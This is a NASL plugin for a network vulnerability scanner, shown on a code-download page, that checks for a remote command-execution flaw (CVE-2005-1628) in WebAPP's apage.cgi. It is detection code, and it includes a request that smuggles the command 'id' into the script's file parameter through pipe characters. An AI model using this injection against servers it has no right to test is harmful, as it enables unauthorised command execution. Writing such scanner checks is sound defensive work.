⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 webapp_apage_cmd_exe.nasl

📁 漏洞扫描源码,可以扫描linux,windows,交换机路由器
💻 NASL
字号:
##  This script was written by David Maciejak <david dot maciejak at kyxar dot fr>#  Ref: Status-x <phr4xz@gmail.com>##  This script is released under the GNU GPL v2#  desc = "Due to a lack of user input validation, an attacker can exploit the'apage.cgi' script in the version of WebAPP on the remote host toexecute arbitrary commands on the remote host with the privileges ofthe web server. Solution : Upgrade to WebAPP version 0.9.9.2 or newer.Risk factor : High";if(description){ script_id(18292); script_cve_id("CVE-2005-1628"); script_bugtraq_id(13637); script_version ("$Revision: 38 $"); name["english"] = "WebAPP Apage.CGI remote command execution flaw"; script_name(english:name["english"]); script_description(english:desc);  summary["english"] = "Checks for apage.cgi remote command execution flaw";  script_summary(english:summary["english"]); script_category(ACT_ATTACK); script_copyright(english:"This script is Copyright (C) 2005 David Maciejak"); family["english"] = "CGI abuses"; script_family(english:family["english"]); script_dependencie("webapp_detect.nasl"); script_require_ports("Services/www", 80); exit(0);}## The script code starts here#include("http_func.inc");include("http_keepalive.inc");port = get_http_port(default:80);if(!get_port_state(port))exit(0);# Test an install.install = get_kb_item(string("www/", port, "/webapp"));if (isnull(install)) exit(0);matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");if (!isnull(matches)) { dir = matches[2]; http_check_remote_code (			unique_dir:dir,			check_request:"/mods/apage/apage.cgi?f=file.htm.|id|",			check_result:"uid=[0-9]+.*gid=[0-9]+.*",			command:"id",			description:desc			);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -